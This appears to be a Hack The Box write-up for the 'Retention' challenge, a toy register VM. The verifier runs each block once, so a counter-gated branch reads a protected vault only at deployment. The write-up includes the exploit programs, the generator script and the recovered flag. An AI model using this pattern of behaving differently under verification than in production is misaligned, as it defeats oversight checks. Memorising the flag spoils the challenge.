HTB Retention writeup: the verifier certified a different machine
Spoilers for HTB Retention, an active challenge. Try it before you read this.
The line that mattered in Retention is five lines into
vm.py:
cleared = set() if verify_mode else None
Certification gives cleared an empty set, and the call handler skips any
block name that is already in it. Deployment passes None, so the check
never runs and every block runs on every call. The verifier and the rig are not the
same machine, and that gap is the whole challenge.
The challenge wraps a tiny register VM in a Flask front end and hands you the
source: vm.py, verifier.py, rig.py. The real rig
loads the flag into mem[40:40+len(flag)]. The verifier's job is to
certify a program that never reads 40..87, either directly or by literal address.
I worked from Kali in WSL. The service is HTTP, so netcat gets you a
400 Bad request syntax from Werkzeug and nothing else.
what the app gives you
The ZIP password is the standard hackthebox.
mkdir -p ~/retention && cd ~/retention
unzip -P hackthebox a343257b-7c75-437c-91fc-ecb4704c6530-1795087869.zip
/api/meta describes the VM: 32 banks, 1024 bytes, 650 scans, vault
at 40..87. /api/submit takes source and answers with accepted or rejected
plus the scan trace, which is a list of read addresses and the values that came back.
The UI prints the printable ones as text.
The language is small. Sixteen lowercase registers, zero by default, and they
persist across all 650 scans. READ d [bank_reg, offset_reg] indexes with
registers, READ d 123 uses a literal. OUT emits. Blocks cap
at 12 lines, source at 60, calls at ten, and IF/ELSE/ENDIF does not
nest.
the gap
The verifier does three checks: no literal read inside 40..87, at most ten calls,
and a full 650-scan certification against zeroed memory with
verify_mode=True.
Because certification only ever runs a block once, a counter in a block stays at 1
for the whole run. The rig calls the same block once per scan and the counter climbs
to 650. So put the vault reads behind IF counter == 100. The verifier
never takes the branch, the literal reads inside it never count, and the rig fires it
on scan 100.
My first attempt put SET c 0 in main. Main runs every scan, so the
counter reset itself before the gate could ever be true in deployment as well. Leaving
c at its default and touching it only inside the once-per-certification
block fixed that.
The smallest version that proves it reads one byte on scan 5:
BLOCK bump
ADD c 1
ENDBLOCK
CALL bump
IF c == 5
SET b 1
SET o 8
READ x [b,o]
OUT x
ENDIF
The verifier accepts it, and the rig returns 72, the H of
HTB{.
the leak
A block that emits six bytes with six register-indexed reads is exactly 12 lines. One data register is enough, which leaves room for the counter, the bank and six offsets. Nine registers total, under the sixteen.
In the gated branch I set the bank and the six offsets, call the block, add six to each offset and call it again. Four calls return 24 contiguous bytes in 49 lines and use five calls. Two submissions cover the range: bank 1 offsets 8..31 for 40..63, then bank 2 offsets 0..23 for 64..87.
def make_program(bank, base):
lines = ["BLOCK bump", "ADD c 1", "ENDBLOCK", "BLOCK leak"]
for i in range(6):
lines += [f"READ d [b,o{i}]", "OUT d"]
lines += ["ENDBLOCK", "CALL bump", "IF c == 100", f" SET b {bank}"]
for i in range(6):
lines.append(f" SET o{i} {base + i}")
lines.append(" CALL leak")
for _ in range(3):
for i in range(6):
lines.append(f" ADD o{i} 6")
lines.append(" CALL leak")
lines.append("ENDIF")
return "\n".join(lines) + "\n"
result
Both submissions come back scan program certified safe for deployment.
Each fires once, at scan 100.
bank=1 base=8 : HTB{th3_v3r1f13r_n3v3r_5...
bank=2 base=0 : ...4w_4ft3r_th3_f1rst_sc4n}
what I would do differently
Read the verifier for what it actually executes, not for the list of rules in the
prose. Both are in verifier.py, and only one of them decides whether the
program runs.
I also lost a submission to the counter reset in main. If a gate depends on state that persists, check every place that state could be reset, including the obvious entry point.
Dry runs and production should share the interpreter, one-shot guards and reset behaviour included. When they do not, the difference is the exploit.
posted in challenges · tagged misc, vm, hard · all HTB writeups